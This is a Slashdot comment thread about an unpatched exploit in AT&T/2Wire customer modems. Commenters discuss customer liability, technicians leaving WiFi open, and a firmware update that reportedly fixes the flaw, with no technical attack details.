And congress is on the verge of granting AT&T amnesty, so why should they care?

AT&T is evil, not just the normal corrupt incompetence of every big phone company, but they actively engage in wrongdoing.

Liability Issues? (1)

2think (703041) | more than 6 years ago | (#23006542)

I'm not a legal eagle by any means but if someone out there has the knowledge or connections, can you shed some light on liability?
I mean, if it is that AT&T has deployed customer equipment with known exploits, I would think the user would be limited in their liability - or so it seems to a rational mind. Not only is this bad news for consumers as a whole but it is just as bad - if not worse - for businesses such as the small businesses that use these modems/routers.

There's one other exploit... (1)

writermike (57327) | more than 6 years ago | (#23006558)

These devices also suffer from another exploit -- the one where technicians come in and leave the WiFi completely open and not tell the customer or, worse, tell them they're "protected" because it's "firewalled."

I've seen this with my own eyes dozens of times. :-(

ATT U-verse (0)

Anonymous Coward | more than 6 years ago | (#23007570)

"So far, AT&T/2Wire haven't done anything about this exploit."

A new firmware 5.29.105.94 for 2Wire 3800HGV-B (ATT U-Verse ADSL) offers a solution to this exploit.

http://www.uverseusers.com/component/option,com_smf/Itemid,2/topic,7112.0/ [uverseusers.com]

So AT&T can use the xploit themselves? (0)

Anonymous Coward | more than 6 years ago | (#23007706)

They are one very shady company
Load More Comments
Slashdot Login

Need an Account?

Forgot your password?

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>